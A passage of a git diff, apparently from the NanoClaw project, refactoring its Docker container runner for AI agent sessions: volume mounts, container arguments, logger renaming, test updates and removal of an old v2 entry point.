session.id, err }); + }); +} + +/** Reset the idle timer for a session's container (called when messages_out are delivered). */ +export function resetContainerIdleTimer(sessionId: string): void { + const entry = activeContainers.get(sessionId) as { resetIdle?: () => void } | undefined; + entry?.resetIdle?.(); +} + +/** Kill a container for a session. */ +export function killContainer(sessionId: string, reason: string): void { + const entry = activeContainers.get(sessionId); + if (!entry) return; + + log.info('Killing container', { sessionId, reason, containerName: entry.containerName }); + try { + stopContainer(entry.containerName); + } catch { + entry.process.kill('SIGKILL'); + } +} + +function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { + const mounts: VolumeMount[] = []; + const projectRoot = process.cwd(); + const sessDir = sessionDir(agentGroup.id, session.id); + const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); + + // Session folder at /workspace (contains session.db, outbox/, .claude/) + mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); + + // Agent group folder at /workspace/agent + fs.mkdirSync(groupDir, { recursive: true }); + mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); + + // Global memory directory + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); + } + + // Claude sessions directory (per agent group, shared across sessions) + const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); + fs.mkdirSync(claudeDir, { recursive: true }); + const settingsFile = path.join(claudeDir, 'settings.json'); if (!fs.existsSync(settingsFile)) { fs.writeFileSync( settingsFile, JSON.stringify( { env: { - // Enable agent swarms (subagent orchestration) - // https://code.claude.com/docs/en/agent-teams#orchestrate-teams-of-claude-code-sessions CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - // Load CLAUDE.md from additional mounted directories - // https://code.claude.com/docs/en/memory#load-memory-from-additional-directories CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - // Enable Claude's memory feature (persists user preferences between sessions) - // https://code.claude.com/docs/en/memory#manage-auto-memory CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', }, }, @@ -154,61 +169,46 @@ function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount ); } - // Sync skills from container/skills/ into each group's .claude/skills/ - const skillsSrc = path.join(process.cwd(), 'container', 'skills'); - const skillsDst = path.join(groupSessionsDir, 'skills'); + // Sync container skills + const skillsSrc = path.join(projectRoot, 'container', 'skills'); + const skillsDst = path.join(claudeDir, 'skills'); if (fs.existsSync(skillsSrc)) { for (const skillDir of fs.readdirSync(skillsSrc)) { const srcDir = path.join(skillsSrc, skillDir); - if (!fs.statSync(srcDir).isDirectory()) continue; - const dstDir = path.join(skillsDst, skillDir); - fs.cpSync(srcDir, dstDir, { recursive: true }); + if (fs.statSync(srcDir).isDirectory()) { + fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); + } } } - mounts.push({ - hostPath: groupSessionsDir, - containerPath: '/home/node/.claude', - readonly: false, - }); + mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); - // Per-group IPC namespace: each group gets its own IPC directory - // This prevents cross-group privilege escalation via IPC - const groupIpcDir = resolveGroupIpcPath(group.folder); - fs.mkdirSync(path.join(groupIpcDir, 'messages'), { recursive: true }); - fs.mkdirSync(path.join(groupIpcDir, 'tasks'), { recursive: true }); - fs.mkdirSync(path.join(groupIpcDir, 'input'), { recursive: true }); - mounts.push({ - hostPath: groupIpcDir, - containerPath: '/workspace/ipc', - readonly: false, - }); - - // Copy agent-runner source into a per-group writable location so agents - // can customize it (add tools, change behavior) without affecting other - // groups. Recompiled on container startup via entrypoint.sh. + // Agent-runner source (per agent group, recompiled on container startup) const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); - const groupAgentRunnerDir = path.join(DATA_DIR, 'sessions', group.folder, 'agent-runner-src'); + const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { - const srcIndex = path.join(agentRunnerSrc, 'index.ts'); - const cachedIndex = path.join(groupAgentRunnerDir, 'index.ts'); - const needsCopy = - !fs.existsSync(groupAgentRunnerDir) || - !fs.existsSync(cachedIndex) || - (fs.existsSync(srcIndex) && fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); - if (needsCopy) { - fs.cpSync(agentRunnerSrc, groupAgentRunnerDir, { recursive: true }); + // Always copy — source files may have changed beyond just the index + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); + } + mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); + + // Admin: mount project root read-only + if (agentGroup.is_admin) { + mounts.push({ hostPath: projectRoot, containerPath: '/workspace/project', readonly: true }); + const envFile = path.join(projectRoot, '.env'); + if (fs.existsSync(envFile)) { + mounts.push({ hostPath: '/dev/null', containerPath: '/workspace/project/.env', readonly: true }); } } - mounts.push({ - hostPath: groupAgentRunnerDir, - containerPath: '/app/src', - readonly: false, - }); - // Additional mounts validated against external allowlist (tamper-proof from containers) - if (group.containerConfig?.additionalMounts) { - const validatedMounts = validateAdditionalMounts(group.containerConfig.additionalMounts, group.name, isMain); - mounts.push(...validatedMounts); + // Additional mounts from container config + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (containerConfig.additionalMounts) { + const validated = validateAdditionalMounts( + containerConfig.additionalMounts, + agentGroup.name, + !!agentGroup.is_admin, + ); + mounts.push(...validated); } return mounts; @@ -217,31 +217,38 @@ function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount async function buildContainerArgs( mounts: VolumeMount[], containerName: string, + session: Session, + agentGroup: AgentGroup, agentIdentifier?: string, ): Promise { - const args: string[] = ['run', '-i', '--rm', '--name', containerName]; + const args: string[] = ['run', '--rm', '--name', containerName]; - // Pass host timezone so container's local time matches the user's + // Environment args.push('-e', `TZ=${TIMEZONE}`); + args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); + args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); - // OneCLI gateway handles credential injection — containers never see real secrets. - // The gateway intercepts HTTPS traffic and injects API keys or OAuth tokens. - const onecliApplied = await onecli.applyContainerConfig(args, { - addHostMapping: false, // Nanoclaw already handles host gateway - agent: agentIdentifier, - }); - if (onecliApplied) { - logger.info({ containerName }, 'OneCLI gateway config applied'); - } else { - logger.warn({ containerName }, 'OneCLI gateway not reachable — container will have no credentials'); + // Pass admin user ID and assistant name from messaging group/agent group + if (session.messaging_group_id) { + const mg = getMessagingGroup(session.messaging_group_id); + if (mg?.admin_user_id) { + args.push('-e', `NANOCLAW_ADMIN_USER_ID=${mg.admin_user_id}`); + } + } + if (agentGroup.name) { + args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } - // Runtime-specific args for host gateway resolution + // OneCLI gateway + const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); + if (onecliApplied) { + log.debug('OneCLI gateway applied', { containerName }); + } + + // Host gateway args.push(...hostGatewayArgs()); - // Run as host user so bind-mounted files are accessible. - // Skip when running as root (uid 0), as the container's node user (uid 1000), - // or when getuid is unavailable (native Windows without WSL). + // User mapping const hostUid = process.getuid?.(); const hostGid = process.getgid?.(); if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { @@ -249,6 +256,7 @@ async function buildContainerArgs( args.push('-e', 'HOME=/home/node'); } + // Volume mounts for (const mount of mounts) { if (mount.readonly) { args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); @@ -257,421 +265,13 @@ async function buildContainerArgs( } } + // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) + args.push('--entrypoint', 'bash'); args.push(CONTAINER_IMAGE); + args.push( + '-c', + 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index.js', + ); return args; } - -export async function runContainerAgent( - group: RegisteredGroup, - input: ContainerInput, - onProcess: (proc: ChildProcess, containerName: string) => void, - onOutput?: (output: ContainerOutput) => Promise, -): Promise { - const startTime = Date.now(); - - const groupDir = resolveGroupFolderPath(group.folder); - fs.mkdirSync(groupDir, { recursive: true }); - - const mounts = buildVolumeMounts(group, input.isMain); - const safeName = group.folder.replace(/[^a-zA-Z0-9-]/g, '-'); - const containerName = `nanoclaw-${safeName}-${Date.now()}`; - // Main group uses the default OneCLI agent; others use their own agent. - const agentIdentifier = input.isMain ? undefined : group.folder.toLowerCase().replace(/_/g, '-'); - const containerArgs = await buildContainerArgs(mounts, containerName, agentIdentifier); - - logger.debug( - { - group: group.name, - containerName, - mounts: mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`), - containerArgs: containerArgs.join(' '), - }, - 'Container mount configuration', - ); - - logger.info( - { - group: group.name, - containerName, - mountCount: mounts.length, - isMain: input.isMain, - }, - 'Spawning container agent', - ); - - const logsDir = path.join(groupDir, 'logs'); - fs.mkdirSync(logsDir, { recursive: true }); - - return new Promise((resolve) => { - const container = spawn(CONTAINER_RUNTIME_BIN, containerArgs, { - stdio: ['pipe', 'pipe', 'pipe'], - }); - - onProcess(container, containerName); - - let stdout = ''; - let stderr = ''; - let stdoutTruncated = false; - let stderrTruncated = false; - - container.stdin.write(JSON.stringify(input)); - container.stdin.end(); - - // Streaming output: parse OUTPUT_START/END marker pairs as they arrive - let parseBuffer = ''; - let newSessionId: string | undefined; - let outputChain = Promise.resolve(); - - container.stdout.on('data', (data) => { - const chunk = data.toString(); - - // Always accumulate for logging - if (!stdoutTruncated) { - const remaining = CONTAINER_MAX_OUTPUT_SIZE - stdout.length; - if (chunk.length > remaining) { - stdout += chunk.slice(0, remaining); - stdoutTruncated = true; - logger.warn({ group: group.name, size: stdout.length }, 'Container stdout truncated due to size limit'); - } else { - stdout += chunk; - } - } - - // Stream-parse for output markers - if (onOutput) { - parseBuffer += chunk; - let startIdx: number; - while ((startIdx = parseBuffer.indexOf(OUTPUT_START_MARKER)) !== -1) { - const endIdx = parseBuffer.indexOf(OUTPUT_END_MARKER, startIdx); - if (endIdx === -1) break; // Incomplete pair, wait for more data - - const jsonStr = parseBuffer.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); - parseBuffer = parseBuffer.slice(endIdx + OUTPUT_END_MARKER.length); - - try { - const parsed: ContainerOutput = JSON.parse(jsonStr); - if (parsed.newSessionId) { - newSessionId = parsed.newSessionId; - } - hadStreamingOutput = true; - // Activity detected — reset the hard timeout - resetTimeout(); - // Call onOutput for all markers (including null results) - // so idle timers start even for "silent" query completions. - outputChain = outputChain.then(() => onOutput(parsed)); - } catch (err) { - logger.warn({ group: group.name, error: err }, 'Failed to parse streamed output chunk'); - } - } - } - }); - - container.stderr.on('data', (data) => { - const chunk = data.toString(); - const lines = chunk.trim().split('\n'); - for (const line of lines) { - if (line) logger.debug({ container: group.folder }, line); - } - // Don't reset timeout on stderr — SDK writes debug logs continuously. - // Timeout only resets on actual output (OUTPUT_MARKER in stdout). - if (stderrTruncated) return; - const remaining = CONTAINER_MAX_OUTPUT_SIZE - stderr.length; - if (chunk.length > remaining) { - stderr += chunk.slice(0, remaining); - stderrTruncated = true; - logger.warn({ group: group.name, size: stderr.length }, 'Container stderr truncated due to size limit'); - } else { - stderr += chunk; - } - }); - - let timedOut = false; - let hadStreamingOutput = false; - const configTimeout = group.containerConfig?.timeout || CONTAINER_TIMEOUT; - // Grace period: hard timeout must be at least IDLE_TIMEOUT + 30s so the - // graceful _close sentinel has time to trigger before the hard kill fires. - const timeoutMs = Math.max(configTimeout, IDLE_TIMEOUT + 30_000); - - const killOnTimeout = () => { - timedOut = true; - logger.error({ group: group.name, containerName }, 'Container timeout, stopping gracefully'); - try { - stopContainer(containerName); - } catch (err) { - logger.warn({ group: group.name, containerName, err }, 'Graceful stop failed, force killing'); - container.kill('SIGKILL'); - } - }; - - let timeout = setTimeout(killOnTimeout, timeoutMs); - - // Reset the timeout whenever there's activity (streaming output) - const resetTimeout = () => { - clearTimeout(timeout); - timeout = setTimeout(killOnTimeout, timeoutMs); - }; - - container.on('close', (code) => { - clearTimeout(timeout); - const duration = Date.now() - startTime; - - if (timedOut) { - const ts = new Date().toISOString().replace(/[:.]/g, '-'); - const timeoutLog = path.join(logsDir, `container-${ts}.log`); - fs.writeFileSync( - timeoutLog, - [ - `=== Container Run Log (TIMEOUT) ===`, - `Timestamp: ${new Date().toISOString()}`, - `Group: ${group.name}`, - `Container: ${containerName}`, - `Duration: ${duration}ms`, - `Exit Code: ${code}`, - `Had Streaming Output: ${hadStreamingOutput}`, - ].join('\n'), - ); - - // Timeout after output = idle cleanup, not failure. - // The agent already sent its response; this is just the - // container being reaped after the idle period expired. - if (hadStreamingOutput) { - logger.info( - { group: group.name, containerName, duration, code }, - 'Container timed out after output (idle cleanup)', - ); - outputChain.then(() => { - resolve({ - status: 'success', - result: null, - newSessionId, - }); - }); - return; - } - - logger.error({ group: group.name, containerName, duration, code }, 'Container timed out with no output'); - - resolve({ - status: 'error', - result: null, - error: `Container timed out after ${configTimeout}ms`, - }); - return; - } - - const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); - const logFile = path.join(logsDir, `container-${timestamp}.log`); - const isVerbose = process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; - - const logLines = [ - `=== Container Run Log ===`, - `Timestamp: ${new Date().toISOString()}`, - `Group: ${group.name}`, - `IsMain: ${input.isMain}`, - `Duration: ${duration}ms`, - `Exit Code: ${code}`, - `Stdout Truncated: ${stdoutTruncated}`, - `Stderr Truncated: ${stderrTruncated}`, - ``, - ]; - - const isError = code !== 0; - - if (isVerbose || isError) { - // On error, log input metadata only — not the full prompt. - // Full input is only included at verbose level to avoid - // persisting user conversation content on every non-zero exit. - if (isVerbose) { - logLines.push(`=== Input ===`, JSON.stringify(input, null, 2), ``); - } else { - logLines.push( - `=== Input Summary ===`, - `Prompt length: ${input.prompt.length} chars`, - `Session ID: ${input.sessionId || 'new'}`, - ``, - ); - } - logLines.push( - `=== Container Args ===`, - containerArgs.join(' '), - ``, - `=== Mounts ===`, - mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), - ``, - `=== Stderr${stderrTruncated ? ' (TRUNCATED)' : ''} ===`, - stderr, - ``, - `=== Stdout${stdoutTruncated ? ' (TRUNCATED)' : ''} ===`, - stdout, - ); - } else { - logLines.push( - `=== Input Summary ===`, - `Prompt length: ${input.prompt.length} chars`, - `Session ID: ${input.sessionId || 'new'}`, - ``, - `=== Mounts ===`, - mounts.map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), - ``, - ); - } - - fs.writeFileSync(logFile, logLines.join('\n')); - logger.debug({ logFile, verbose: isVerbose }, 'Container log written'); - - if (code !== 0) { - logger.error( - { - group: group.name, - code, - duration, - stderr, - stdout, - logFile, - }, - 'Container exited with error', - ); - - resolve({ - status: 'error', - result: null, - error: `Container exited with code ${code}: ${stderr.slice(-200)}`, - }); - return; - } - - // Streaming mode: wait for output chain to settle, return completion marker - if (onOutput) { - outputChain.then(() => { - logger.info({ group: group.name, duration, newSessionId }, 'Container completed (streaming mode)'); - resolve({ - status: 'success', - result: null, - newSessionId, - }); - }); - return; - } - - // Legacy mode: parse the last output marker pair from accumulated stdout - try { - // Extract JSON between sentinel markers for robust parsing - const startIdx = stdout.indexOf(OUTPUT_START_MARKER); - const endIdx = stdout.indexOf(OUTPUT_END_MARKER); - - let jsonLine: string; - if (startIdx !== -1 && endIdx !== -1 && endIdx > startIdx) { - jsonLine = stdout.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); - } else { - // Fallback: last non-empty line (backwards compatibility) - const lines = stdout.trim().split('\n'); - jsonLine = lines[lines.length - 1]; - } - - const output: ContainerOutput = JSON.parse(jsonLine); - - logger.info( - { - group: group.name, - duration, - status: output.status, - hasResult: !!output.result, - }, - 'Container completed', - ); - - resolve(output); - } catch (err) { - logger.error( - { - group: group.name, - stdout, - stderr, - error: err, - }, - 'Failed to parse container output', - ); - - resolve({ - status: 'error', - result: null, - error: `Failed to parse container output: ${err instanceof Error ? err.message : String(err)}`, - }); - } - }); - - container.on('error', (err) => { - clearTimeout(timeout); - logger.error({ group: group.name, containerName, error: err }, 'Container spawn error'); - resolve({ - status: 'error', - result: null, - error: `Container spawn error: ${err.message}`, - }); - }); - }); -} - -export function writeTasksSnapshot( - groupFolder: string, - isMain: boolean, - tasks: Array<{ - id: string; - groupFolder: string; - prompt: string; - script?: string | null; - schedule_type: string; - schedule_value: string; - status: string; - next_run: string | null; - }>, -): void { - // Write filtered tasks to the group's IPC directory - const groupIpcDir = resolveGroupIpcPath(groupFolder); - fs.mkdirSync(groupIpcDir, { recursive: true }); - - // Main sees all tasks, others only see their own - const filteredTasks = isMain ? tasks : tasks.filter((t) => t.groupFolder === groupFolder); - - const tasksFile = path.join(groupIpcDir, 'current_tasks.json'); - fs.writeFileSync(tasksFile, JSON.stringify(filteredTasks, null, 2)); -} - -export interface AvailableGroup { - jid: string; - name: string; - lastActivity: string; - isRegistered: boolean; -} - -/** - * Write available groups snapshot for the container to read. - * Only main group can see all available groups (for activation). - * Non-main groups only see their own registration status. - */ -export function writeGroupsSnapshot( - groupFolder: string, - isMain: boolean, - groups: AvailableGroup[], - _registeredJids: Set, -): void { - const groupIpcDir = resolveGroupIpcPath(groupFolder); - fs.mkdirSync(groupIpcDir, { recursive: true }); - - // Main sees all groups; others see nothing (they can't activate groups) - const visibleGroups = isMain ? groups : []; - - const groupsFile = path.join(groupIpcDir, 'available_groups.json'); - fs.writeFileSync( - groupsFile, - JSON.stringify( - { - groups: visibleGroups, - lastSync: new Date().toISOString(), - }, - null, - 2, - ), - ); -} diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index 94e14e9..80eb46e 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -1,12 +1,13 @@ import { describe, it, expect, vi, beforeEach } from 'vitest'; -// Mock logger -vi.mock('./logger.js', () => ({ - logger: { +// Mock log +vi.mock('./log.js', () => ({ + log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn(), + fatal: vi.fn(), }, })); @@ -23,7 +24,7 @@ import { ensureContainerRuntimeRunning, cleanupOrphans, } from './container-runtime.js'; -import { logger } from './logger.js'; +import { log } from './log.js'; beforeEach(() => { vi.clearAllMocks(); @@ -67,7 +68,7 @@ describe('ensureContainerRuntimeRunning', () => { stdio: 'pipe', timeout: 10000, }); - expect(logger.debug).toHaveBeenCalledWith('Container runtime already running'); + expect(log.debug).toHaveBeenCalledWith('Container runtime already running'); }); it('throws when docker info fails', () => { @@ -76,7 +77,7 @@ describe('ensureContainerRuntimeRunning', () => { }); expect(() => ensureContainerRuntimeRunning()).toThrow('Container runtime is required but failed to start'); - expect(logger.error).toHaveBeenCalled(); + expect(log.error).toHaveBeenCalled(); }); }); @@ -99,9 +100,9 @@ describe('cleanupOrphans', () => { expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { stdio: 'pipe', }); - expect(logger.info).toHaveBeenCalledWith( - { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, + expect(log.info).toHaveBeenCalledWith( 'Stopped orphaned containers', + { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, ); }); @@ -111,7 +112,7 @@ describe('cleanupOrphans', () => { cleanupOrphans(); expect(mockExecSync).toHaveBeenCalledTimes(1); - expect(logger.info).not.toHaveBeenCalled(); + expect(log.info).not.toHaveBeenCalled(); }); it('warns and continues when ps fails', () => { @@ -121,9 +122,9 @@ describe('cleanupOrphans', () => { cleanupOrphans(); // should not throw - expect(logger.warn).toHaveBeenCalledWith( - expect.objectContaining({ err: expect.any(Error) }), + expect(log.warn).toHaveBeenCalledWith( 'Failed to clean up orphaned containers', + expect.objectContaining({ err: expect.any(Error) }), ); }); @@ -139,9 +140,9 @@ describe('cleanupOrphans', () => { cleanupOrphans(); // should not throw expect(mockExecSync).toHaveBeenCalledTimes(3); - expect(logger.info).toHaveBeenCalledWith( - { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, + expect(log.info).toHaveBeenCalledWith( 'Stopped orphaned containers', + { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, ); }); }); diff --git a/src/container-runtime.ts b/src/container-runtime.ts index 678a708..5e68426 100644 --- a/src/container-runtime.ts +++ b/src/container-runtime.ts @@ -5,7 +5,7 @@ import { execSync } from 'child_process'; import os from 'os'; -import { logger } from './logger.js'; +import { log } from './log.js'; /** The container runtime binary name. */ export const CONTAINER_RUNTIME_BIN = 'docker'; @@ -39,9 +39,9 @@ export function ensureContainerRuntimeRunning(): void { stdio: 'pipe', timeout: 10000, }); - logger.debug('Container runtime already running'); + log.debug('Container runtime already running'); } catch (err) { - logger.error({ err }, 'Failed to reach container runtime'); + log.error('Failed to reach container runtime', { err }); console.error('\n╔════════════════════════════════════════════════════════════════╗'); console.error('║ FATAL: Container runtime failed to start ║'); console.error('║ ║'); @@ -72,9 +72,9 @@ export function cleanupOrphans(): void { } } if (orphans.length > 0) { - logger.info({ count: orphans.length, names: orphans }, 'Stopped orphaned containers'); + log.info('Stopped orphaned containers', { count: orphans.length, names: orphans }); } } catch (err) { - logger.warn({ err }, 'Failed to clean up orphaned containers'); + log.warn('Failed to clean up orphaned containers', { err }); } } diff --git a/src/db/agent-groups.ts b/src/db/agent-groups.ts index a306616..6b04e82 100644 --- a/src/db/agent-groups.ts +++ b/src/db/agent-groups.ts @@ -1,4 +1,4 @@ -import type { AgentGroup } from '../types-v2.js'; +import type { AgentGroup } from '../types.js'; import { getDb } from './connection.js'; export function createAgentGroup(group: AgentGroup): void { diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index ef3b46c..b7994fc 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -1,4 +1,4 @@ -import type { MessagingGroup, MessagingGroupAgent } from '../types-v2.js'; +import type { MessagingGroup, MessagingGroupAgent } from '../types.js'; import { getDb } from './connection.js'; // ── Messaging Groups ── diff --git a/src/db/sessions.ts b/src/db/sessions.ts index 57f00b9..c1c9ba5 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -1,4 +1,4 @@ -import type { PendingQuestion, Session } from '../types-v2.js'; +import type { PendingQuestion, Session } from '../types.js'; import { getDb } from './connection.js'; // ── Sessions ── diff --git a/src/delivery.ts b/src/delivery.ts index 8d1c268..4a020f8 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -10,9 +10,9 @@ import { getRunningSessions, getActiveSessions, createPendingQuestion } from './ import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { openSessionDb, sessionDir } from './session-manager.js'; -import { resetContainerIdleTimer } from './container-runner-v2.js'; +import { resetContainerIdleTimer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; -import type { Session } from './types-v2.js'; +import type { Session } from './types.js'; const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; diff --git a/src/env.ts b/src/env.ts index 064e6f8..e04b4f4 100644 --- a/src/env.ts +++ b/src/env.ts @@ -1,6 +1,6 @@ import fs from 'fs'; import path from 'path'; -import { logger } from './logger.js'; +import { log } from './log.js'; /** * Parse the .env file and return values for the requested keys. @@ -14,7 +14,7 @@ export function readEnvFile(keys: string[]): Record { try { content = fs.readFileSync(envFile, 'utf-8'); } catch (err) { - logger.debug({ err }, '.env file not found, using defaults'); + log.debug('.env file not found, using defaults', { err }); return {}; } diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 960e3a6..03ddd98 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -25,10 +25,10 @@ import { sessionsBaseDir, } from './session-manager.js'; import { getSession, findSession } from './db/sessions.js'; -import type { InboundEvent } from './router-v2.js'; +import type { InboundEvent } from './router.js'; // Mock container runner to prevent actual Docker spawning -vi.mock('./container-runner-v2.js', () => ({ +vi.mock('./container-runner.js', () => ({ wakeContainer: vi.fn().mockResolvedValue(undefined), resetContainerIdleTimer: vi.fn(), isContainerRunning: vi.fn().mockReturnValue(false), @@ -202,8 +202,8 @@ describe('router', () => { }); it('should route a message end-to-end', async () => { - const { routeInbound } = await import('./router-v2.js'); - const { wakeContainer } = await import('./container-runner-v2.js'); + const { routeInbound } = await import('./router.js'); + const { wakeContainer } = await import('./container-runner.js'); const event: InboundEvent = { channelType: 'discord', @@ -237,7 +237,7 @@ describe('router', () => { }); it('should auto-create messaging group for unknown platform', async () => { - const { routeInbound } = await import('./router-v2.js'); + const { routeInbound } = await import('./router.js'); // This platform ID isn't registered — but since there's no agent configured for it, // it should create the messaging group but not route (no agents configured) @@ -262,7 +262,7 @@ describe('router', () => { }); it('should route multiple messages to the same session', async () => { - const { routeInbound } = await import('./router-v2.js'); + const { routeInbound } = await import('./router.js'); await routeInbound({ channelType: 'discord', diff --git a/src/host-sweep.ts b/src/host-sweep.ts index d93d821..26a926f 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -13,8 +13,8 @@ import { getActiveSessions, updateSession } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { openSessionDb, sessionDbPath } from './session-manager.js'; -import { wakeContainer, isContainerRunning } from './container-runner-v2.js'; -import type { Session } from './types-v2.js'; +import { wakeContainer, isContainerRunning } from './container-runner.js'; +import type { Session } from './types.js'; const SWEEP_INTERVAL_MS = 60_000; const STALE_THRESHOLD_MS = 10 * 60 * 1000; // 10 minutes diff --git a/src/index-v2.ts b/src/index-v2.ts deleted file mode 100644 index a72540b..0000000 --- a/src/index-v2.ts +++ /dev/null @@ -1,180 +0,0 @@ -/** - * NanoClaw v2 — main entry point. - * - * Thin orchestrator: init DB, run migrations, start channel adapters, - * start delivery polls, start sweep, handle shutdown. - */ -import path from 'path'; - -import { DATA_DIR } from './config.js'; -import { initDb } from './db/connection.js'; -import { runMigrations } from './db/migrations/index.js'; -import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messaging-groups.js'; -import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; -import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; -import { startHostSweep, stopHostSweep } from './host-sweep.js'; -import { routeInbound } from './router-v2.js'; -import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; -import { writeSessionMessage } from './session-manager.js'; -import { wakeContainer } from './container-runner-v2.js'; -import { log } from './log.js'; - -// Channel imports — each triggers self-registration -import './channels/discord-v2.js'; - -import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; -import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; - -async function main(): Promise { - log.info('NanoClaw v2 starting'); - - // 1. Init central DB - const dbPath = path.join(DATA_DIR, 'v2.db'); - const db = initDb(dbPath); - runMigrations(db); - log.info('Central DB ready', { path: dbPath }); - - // 2. Container runtime - ensureContainerRuntimeRunning(); - cleanupOrphans(); - - // 3. Channel adapters - await initChannelAdapters((adapter: ChannelAdapter): ChannelSetup => { - const conversations = buildConversationConfigs(adapter.channelType); - return { - conversations, - onInbound(platformId, threadId, message) { - routeInbound({ - channelType: adapter.channelType, - platformId, - threadId, - message: { - id: message.id, - kind: message.kind, - content: JSON.stringify(message.content), - timestamp: message.timestamp, - }, - }).catch((err) => { - log.error('Failed to route inbound message', { channelType: adapter.channelType, err }); - }); - }, - onMetadata(platformId, name, isGroup) { - log.info('Channel metadata discovered', { - channelType: adapter.channelType, - platformId, - name, - isGroup, - }); - }, - onAction(questionId, selectedOption, userId) { - handleQuestionResponse(questionId, selectedOption, userId).catch((err) => { - log.error('Failed to handle question response', { questionId, err }); - }); - }, - }; - }); - - // 4. Delivery adapter bridge — dispatches to channel adapters - setDeliveryAdapter({ - async deliver(channelType, platformId, threadId, kind, content, files) { - const adapter = getChannelAdapter(channelType); - if (!adapter) { - log.warn('No adapter for channel type', { channelType }); - return; - } - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); - }, - async setTyping(channelType, platformId, threadId) { - const adapter = getChannelAdapter(channelType); - await adapter?.setTyping?.(platformId, threadId); - }, - }); - - // 5. Start delivery polls - startActiveDeliveryPoll(); - startSweepDeliveryPoll(); - log.info('Delivery polls started'); - - // 6. Start host sweep - startHostSweep(); - log.info('Host sweep started'); - - log.info('NanoClaw v2 running'); -} - -/** Build ConversationConfig[] for a channel type from the central DB. */ -function buildConversationConfigs(channelType: string): ConversationConfig[] { - const groups = getMessagingGroupsByChannel(channelType); - const configs: ConversationConfig[] = []; - - for (const mg of groups) { - const agents = getMessagingGroupAgents(mg.id); - for (const agent of agents) { - const triggerRules = agent.trigger_rules ? JSON.parse(agent.trigger_rules) : null; - configs.push({ - platformId: mg.platform_id, - agentGroupId: agent.agent_group_id, - triggerPattern: triggerRules?.pattern, - requiresTrigger: triggerRules?.requiresTrigger ?? false, - sessionMode: agent.session_mode, - }); - } - } - - return configs; -} - -/** Handle a user's response to an ask_user_question card. */ -async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { - const pq = getPendingQuestion(questionId); - if (!pq) { - log.warn('Pending question not found (may have expired)', { questionId }); - return; - } - - const session = getSession(pq.session_id); - if (!session) { - log.warn('Session not found 